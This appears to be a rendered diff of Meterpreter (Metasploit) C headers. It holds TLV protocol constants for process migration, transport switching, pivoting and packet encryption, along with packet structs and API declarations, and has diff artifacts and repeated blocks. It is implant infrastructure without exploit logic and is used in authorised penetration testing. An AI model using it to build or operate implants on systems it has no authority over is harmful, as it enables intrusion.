TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw).
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group).
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer).
|
||||
|
||||
// Channel extended types
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71),
|
||||
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
|
||||
|
||||
// Grouped identifiers
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in).
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string).
|
||||
|
||||
// Library loading
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
|
||||
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
|
||||
|
||||
// Transport switching
|
||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||
TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use.
|
||||
TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http).
|
||||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout.
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration.
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https).
|
||||
TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s).
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s).
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s).
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms.
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts.
|
||||
TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests.
|
||||
TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping.
|
||||
|
||||
// session/machine identification
|
||||
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
|
||||
TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID.
|
||||
TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID.
|
||||
|
||||
// Packet encryption
|
||||
TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key
|
||||
TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key
|
||||
TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key
|
||||
TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key
|
||||
|
||||
// Pivots
|
||||
TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections.
|
||||
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections.
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name.
|
||||
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
|
||||
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value.
|
||||
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value.
|
||||
} TlvType;
|
||||
|
||||
#ifndef QWORD
|
||||
typedef unsigned __int64 QWORD;
|
||||
#endif
|
||||
|
||||
#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 )
|
||||
#define htonq( qword ) ntohq( qword )
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD length;
|
||||
DWORD type;
|
||||
} TlvHeader;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
TlvHeader header;
|
||||
PUCHAR buffer;
|
||||
} Tlv;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
BYTE xor_key[4];
|
||||
BYTE session_guid[sizeof(GUID)];
|
||||
DWORD enc_flags;
|
||||
DWORD length;
|
||||
DWORD type;
|
||||
} PacketHeader;
|
||||
|
||||
/*! @brief Packet definition. */
|
||||
typedef struct _Packet
|
||||
{
|
||||
PacketHeader header;
|
||||
|
||||
PUCHAR payload;
|
||||
ULONG payloadLength;
|
||||
|
||||
LIST * decompressed_buffers;
|
||||
|
||||
///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet.
|
||||
BOOL local;
|
||||
///! @brief Pointer to the associated packet (response/request)
|
||||
struct _Packet* partner;
|
||||
} Packet;
|
||||
|
||||
typedef struct _DECOMPRESSED_BUFFER
|
||||
{
|
||||
LPVOID buffer;
|
||||
DWORD length;
|
||||
} DECOMPRESSED_BUFFER;
|
||||
|
||||
/*! * @brief Packet request completion notification handler function pointer type. */
|
||||
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
|
||||
Packet *response, LPVOID context, LPCSTR method, DWORD result);
|
||||
|
||||
typedef struct _PacketRequestCompletion
|
||||
{
|
||||
LPVOID context;
|
||||
PacketRequestCompletionRoutine routine;
|
||||
DWORD timeout;
|
||||
} PacketRequestCompletion;
|
||||
|
||||
/*
|
||||
* Packet manipulation
|
||||
*/
|
||||
LINKAGE Packet *packet_create(PacketTlvType type, LPCSTR method);
|
||||
LINKAGE Packet *packet_create_response(Packet *packet);
|
||||
LINKAGE Packet* packet_create_group();
|
||||
LINKAGE Packet *packet_duplicate(Packet *packet);
|
||||
LINKAGE VOID packet_destroy(Packet *packet);
|
||||
|
||||
LINKAGE DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket);
|
||||
LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str);
|
||||
LINKAGE DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str);
|
||||
LINKAGE DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength);
|
||||
LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val);
|
||||
LINKAGE DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val );
|
||||
LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val);
|
||||
LINKAGE DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries);
|
||||
LINKAGE DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries);
|
||||
LINKAGE DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length);
|
||||
LINKAGE DWORD packet_is_tlv_null_terminated(Tlv *tlv);
|
||||
LINKAGE PacketTlvType packet_get_type(Packet *packet);
|
||||
LINKAGE TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv);
|
||||
LINKAGE DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv);
|
||||
LINKAGE DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv);
|
||||
LINKAGE DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry);
|
||||
LINKAGE DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv);
|
||||
|
||||
LINKAGE PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type);
|
||||
LINKAGE wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type);
|
||||
LINKAGE UINT packet_get_tlv_value_uint(Packet *packet, TlvType type);
|
||||
LINKAGE BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type );
|
||||
LINKAGE QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type);
|
||||
LINKAGE BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type);
|
||||
|
||||
LINKAGE DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...);
|
||||
|
||||
LINKAGE DWORD packet_get_result(Packet *packet);
|
||||
|
||||
/*
|
||||
* Packet transmission
|
||||
*/
|
||||
LINKAGE DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response);
|
||||
LINKAGE DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
|
||||
LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
|
||||
LINKAGE DWORD packet_add_request_id(Packet* packet);
|
||||
|
||||
/*
|
||||
* Packet completion notification
|
||||
*/
|
||||
LINKAGE DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion);
|
||||
LINKAGE DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId);
|
||||
LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
|
||||
|
||||
/*
|
||||
* Core API
|
||||
*/
|
||||
LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token );
|
||||
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
|
||||
|
||||
#endif
|
||||
/*!
|
||||
* @file core.h
|
||||
* @brief Declarations of core components of the Meterpreter suite.
|
||||
* @details Much of what exists in the core files is used in almost every area
|
||||
* of the Meterpreter code base, and hence it's very important. Don't
|
||||
* change this stuff unless you know what you're doing!
|
||||
*/
|
||||
#ifndef _METERPRETER_COMMON_CORE_H
|
||||
#define _METERPRETER_COMMON_CORE_H
|
||||
|
||||
#include "common_remote.h"
|
||||
#include "common_list.h"
|
||||
|
||||
/*!
|
||||
* @brief Creates a new TLV value based on `actual` and `meta` values.
|
||||
*/
|
||||
#define TLV_VALUE(meta, actual) actual | meta
|
||||
/*!
|
||||
* @brief Creates a new custom TVL type.
|
||||
*/
|
||||
#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta)
|
||||
|
||||
/*!
|
||||
* @brief Enumeration of allowed Packet TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet.
|
||||
PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet.
|
||||
PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet.
|
||||
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet.
|
||||
} PacketTlvType;
|
||||
|
||||
/*! @brief Meta TLV argument type representing a null value. */
|
||||
#define TLV_META_TYPE_NONE (0 << 0)
|
||||
/*! @brief Meta TLV argument type representing a string value. */
|
||||
#define TLV_META_TYPE_STRING (1 << 16)
|
||||
/*! @brief Meta TLV argument type representing a unsigned integer value. */
|
||||
#define TLV_META_TYPE_UINT (1 << 17)
|
||||
/*! @brief Meta TLV argument type representing a raw data value. */
|
||||
#define TLV_META_TYPE_RAW (1 << 18)
|
||||
/*! @brief Meta TLV argument type representing a boolean value. */
|
||||
#define TLV_META_TYPE_BOOL (1 << 19)
|
||||
/*! @brief Meta TLV argument type representing a quad-word value. */
|
||||
#define TLV_META_TYPE_QWORD (1 << 20)
|
||||
/*! @brief Meta TLV argument type representing a compressed data value. */
|
||||
#define TLV_META_TYPE_COMPRESSED (1 << 29)
|
||||
/*! @brief Meta TLV argument type representing a group value. */
|
||||
#define TLV_META_TYPE_GROUP (1 << 30)
|
||||
/*! @brief Meta TLV argument type representing a nested/complex value. */
|
||||
#define TLV_META_TYPE_COMPLEX (1 << 31)
|
||||
/*! @brief Meta TLV argument type representing a flag set/mask value. */
|
||||
#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000)
|
||||
|
||||
/*! @brief Base value for reserved TLV definitions. */
|
||||
#define TLV_RESERVED 0
|
||||
/*! @brief Base value for TLV definitions that are part of extensions. */
|
||||
#define TLV_EXTENSIONS 20000
|
||||
/*! @brief Base value for user TLV definitions. */
|
||||
#define TLV_USER 40000
|
||||
/*! @brief Base value for temporary TLV definitions. */
|
||||
#define TLV_TEMP 60000
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question should be stored on disk.
|
||||
* @detail Some libraries can be written to disk and other libraries can't. The use of
|
||||
* this flag will indicate that the library should not be written to disk and
|
||||
* instead should be loaded reflectively.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0)
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question is an extension library.
|
||||
* @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension
|
||||
* functions which need to be invoked. This flag indicates that the library has
|
||||
* these functions and that they should be called appropriately.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1)
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question is a library that exists locally.
|
||||
* @detail Libraries can already exist on the target machine. This flag indicates that
|
||||
* the library doesn't need to be uploaded, it just needs to be invoked directly
|
||||
* on the local machine.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2)
|
||||
|
||||
/*! @brief An indication of whether the challen is synchronous or asynchronous. */
|
||||
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
|
||||
/*! @brief An indication of whether the content written to the channel should be compressed. */
|
||||
#define CHANNEL_FLAG_COMPRESS (1 << 1)
|
||||
|
||||
/*! @brief Type definition with defines `TlvMetaType` as an double-word. */
|
||||
typedef DWORD TlvMetaType;
|
||||
|
||||
/*!
|
||||
* @brief Full list of recognised TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
|
||||
|
||||
// Argument basic types
|
||||
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value.
|
||||
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value.
|
||||
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value.
|
||||
|
||||
// Extended types
|
||||
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer).
|
||||
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw).
|
||||
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer).
|
||||
|
||||
// Channel types
|
||||
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string).
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw).
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group).
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer).
|
||||
|
||||
// Channel extended types
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71),
|
||||
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
|
||||
|
||||
// Grouped identifiers
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in).
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string).
|
||||
|
||||
// Library loading
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
|
||||
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
|
||||
|
||||
// Transport switching
|
||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||
TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use.
|
||||
TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http).
|
||||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout.
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration.
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https).
|
||||
TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s).
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s).
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s).
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms.
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts.
|
||||
TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests.
|
||||
TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping.
|
||||
|
||||
// session/machine identification
|
||||
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
|
||||
TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID.
|
||||
TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID.
|
||||
|
||||
// Packet encryption
|
||||
TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key
|
||||
TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key
|
||||
TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key
|
||||
TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key
|
||||
|
||||
// Pivots
|
||||
TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections.
|
||||
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections.
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name.
|
||||
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
|
||||
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value.
|
||||
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value.
|
||||
} TlvType;
|
||||
|
||||
#ifndef QWORD
|
||||
typedef unsigned __int64 QWORD;
|
||||
#endif
|
||||
|
||||
#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 )
|
||||
#define htonq( qword ) ntohq( qword )
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD length;
|
||||
DWORD type;
|
||||
} TlvHeader;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
TlvHeader header;
|
||||
PUCHAR buffer;
|
||||
} Tlv;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
BYTE xor_key[4];
|
||||
BYTE session_guid[sizeof(GUID)];
|
||||
DWORD enc_flags;
|
||||
DWORD length;
|
||||
DWORD type;
|
||||
} PacketHeader;
|
||||
|
||||
/*! @brief Packet definition. */
|
||||
typedef struct _Packet
|
||||
{
|
||||
PacketHeader header;
|
||||
|
||||
PUCHAR payload;
|
||||
ULONG payloadLength;
|
||||
|
||||
LIST * decompressed_buffers;
|
||||
|
||||
///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet.
|
||||
BOOL local;
|
||||
///! @brief Pointer to the associated packet (response/request)
|
||||
struct _Packet* partner;
|
||||
} Packet;
|
||||
|
||||
typedef struct _DECOMPRESSED_BUFFER
|
||||
{
|
||||
LPVOID buffer;
|
||||
DWORD length;
|
||||
} DECOMPRESSED_BUFFER;
|
||||
|
||||
/*! * @brief Packet request completion notification handler function pointer type. */
|
||||
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
|
||||
Packet *response, LPVOID context, LPCSTR method, DWORD result);
|
||||
|
||||
typedef struct _PacketRequestCompletion
|
||||
{
|
||||
LPVOID context;
|
||||
PacketRequestCompletionRoutine routine;
|
||||
DWORD timeout;
|
||||
} PacketRequestCompletion;
|
||||
|
||||
#endif
|
69
c/meterpreter/source/common/list.h → c/meterpreter/source/common/common_list.h
Executable file → Normal file
69
c/meterpreter/source/common/list.h → c/meterpreter/source/common/common_list.h
Executable file → Normal file
@ -1,41 +1,28 @@
|
||||
/*!
|
||||
* @file list.h
|
||||
* @brief Declarations for functions that operate on lists.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_LIST_H
|
||||
#define _METERPRETER_LIB_LIST_H
|
||||
|
||||
/*! @brief Container struct for data the lives in a list. */
|
||||
typedef struct _NODE
|
||||
{
|
||||
struct _NODE * next; ///< Pointer to the next node in the list.
|
||||
struct _NODE * prev; ///< Pointer to the previous node in the list.
|
||||
LPVOID data; ///< Reference to the data in the list node.
|
||||
} NODE, *PNODE;
|
||||
|
||||
/*! @brief Container structure for a list instance. */
|
||||
typedef struct _LIST
|
||||
{
|
||||
NODE * start; ///< Pointer to the first node in the list.
|
||||
NODE * end; ///< Pointer to the last node in the list.
|
||||
DWORD count; ///< Count of elements in the list.
|
||||
LOCK * lock; ///< Reference to the list's synchronisation lock.
|
||||
} LIST, *PLIST;
|
||||
|
||||
typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData);
|
||||
typedef VOID (*PCLEARFUNC)(LPVOID pData);
|
||||
|
||||
LIST * list_create(VOID);
|
||||
VOID list_destroy(PLIST pList);
|
||||
DWORD list_count(PLIST pList);
|
||||
LPVOID list_get(PLIST pList, DWORD index);
|
||||
BOOL list_clear(PLIST pList, PCLEARFUNC pFunc);
|
||||
BOOL list_add(PLIST pList, LPVOID data);
|
||||
BOOL list_remove(PLIST pList, LPVOID data);
|
||||
BOOL list_delete(PLIST pList, DWORD index);
|
||||
BOOL list_push(PLIST pList, LPVOID data);
|
||||
LPVOID list_pop(PLIST pList);
|
||||
LPVOID list_shift(PLIST pList);
|
||||
BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState);
|
||||
|
||||
#endif
|
||||
/*!
|
||||
* @file list.h
|
||||
* @brief Declarations for functions that operate on lists.
|
||||
*/
|
||||
#ifndef _METERPRETER_COMMON_LIST_H
|
||||
#define _METERPRETER_COMMON_LIST_H
|
||||
|
||||
/*! @brief Container struct for data the lives in a list. */
|
||||
typedef struct _NODE
|
||||
{
|
||||
struct _NODE * next; ///< Pointer to the next node in the list.
|
||||
